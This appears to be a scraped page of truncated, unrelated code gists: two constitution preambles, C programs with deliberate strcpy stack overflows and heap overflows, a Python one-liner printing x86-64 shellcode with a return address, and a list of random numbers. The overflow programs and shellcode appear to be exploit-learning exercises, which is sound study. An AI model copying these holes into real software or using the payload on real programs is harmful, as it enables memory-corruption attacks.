This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
We the People of the United States, in Order to form a more perfect Union, | |
establish Justice, insure domestic Tranquility, provide for the common | |
defence, promote the general Welfare, and secure the Blessings of Liberty to | |
ourselves and our Posterity, do ordain and establish this Constitution for the | |
United States of America. | |
Article 1. | |
Section 1 | |
All legislative Powers herein granted shall be vested in a Congress of the |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
THE PREAMBLE | |
In the name of God, the most merciful, the most compassionate | |
We have honored the sons of Adam. | |
We are the people of the land between two rivers, the homeland of the apostles and prophets, abode of the virtuous imams, pioneers of civilization, crafters of writing and cradle of numeration. Upon our land the first law made by man was passed, the most ancient just pact for homelands policy was inscribed, and upon our soil, companions of the Prophet and saints prayed, philosophers and scientists theorized and writers and poets excelled. | |
Acknowledging God's right over us, and in fulfillment of the call of our homeland and citizens, and in response to the call of our religious and national leaderships and the determination of our great (religious) authorities and of our leaders and reformers, and in the midst of an international support from our friends and those who love us, marched for the first time in our history toward the ballot boxes by the millions, men and women, young and old, on the thir |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
int main ( int argc, char *argv[] ){ | |
cout << argc << " arguments" << endl; | |
for(int i=0; i < argc; i++){ | |
cout << "Arg " << i << ": " << argv[i] << endl; | |
} | |
return 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <string.h> | |
void foo (char *bar) | |
{ | |
char c[12]; | |
strcpy(c, bar); // no bounds checking | |
} | |
int main (int argc, char **argv) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <string.h> | |
void go(char *data) { | |
char name[64]; | |
strcpy(name, data); | |
} | |
int main(int argc, char **argv) { | |
go(argv[1]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
`python -c 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21"+"A"*27+"\x60\xde\xff\xff\xff\x7f"'` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <string.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
int main(int argc, char **argv) { | |
size_t bytes = 256; | |
char* p2chunk = (char *)malloc(bytes); | |
getline(&p2chunk, &bytes, stdin); | |
printf("%s\n", p2chunk); | |
free(p2chunk); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <string.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
int main(int argc, char **argv) { | |
size_t bytes = 1; | |
int* p2chunk = (int *) malloc(bytes); | |
printf("%p p2chunk\n", (void*)p2chunk); | |
p2chunk[0] = 1; | |
p2chunk[1] = 2; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <string.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
struct Banana { | |
int ripeness; | |
int age; | |
float price; | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
204 -9454882673 3121283387 5652825222 -8738824763 -4958596334 -8735843250 9932512585 -2816338913 -4599088717 5207215640 9596861871 7542285857 -1080913800 3497661550 5810001065 5424398585 -6681195402 -8109347856 3619619144 -9825813050 9335869404 9608151647 1081059179 8775411101 -3896795967 1453773205 6966418018 1416639703 6494127198 8557923386 4941730252 -5541542234 -2048960823 -8100737867 -7035903249 -3524126814 5503752769 -8179029242 3142959471 5831643918 -6270526564 -2685019028 5853939238 -389707880 -5205585992 -2791246629 -9466573844 3234138294 9897292797 -3842663519 1204086848 -7059059759 -969856837 -6321029963 -3941199134 9242380112 -8915103726 -6619301257 -5958964961 -4102619188 -3148335360 382496667 8046139776 3414596931 3049923979 -1690790371 8688428328 948922997 84108485 -1839122605 2039409394 5066308113 1205124497 -2947688706 5893262023 -310077170 1868588662 -8032652456 -7603974518 6776855378 -5800542862 6425520095 -3928829653 1082567313 -562861179 9573846120 -2234653726 4122948772 1655910902 -82511 |